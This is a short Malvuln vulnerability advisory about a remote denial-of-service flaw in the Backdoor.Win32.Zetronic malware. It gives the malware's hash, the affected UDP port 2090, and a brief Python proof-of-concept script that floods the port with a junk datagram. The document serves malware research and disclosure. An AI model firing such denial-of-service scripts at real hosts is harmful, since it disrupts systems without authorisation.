Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/caf26a74ca39662e2c3d37e55a242daf.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Zetronic
Vulnerability: Remote DoS 
Description: Zetronic listens on UDP port 2090, sending a large datagram packet of junk results in denial of service of the backdoor.
Type: PE32
MD5: caf26a74ca39662e2c3d37e55a242daf
Vuln ID: MVID-2021-0057
Disclosure: 01/28/2021

Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=2090

def doit():
    s=socket(AF_INET, SOCK_DGRAM) 
    s.connect((MALWARE_HOST, PORT))

    DOS="GET /"+"A"*2500

    s.send(DOS)
    s.close()

    print("Backdoor.Win32.Zetronic / Remote DoS")
    print("MD5: caf26a74ca39662e2c3d37e55a242daf")
    print("By Malvuln");


if __name__=="__main__":
    doit()


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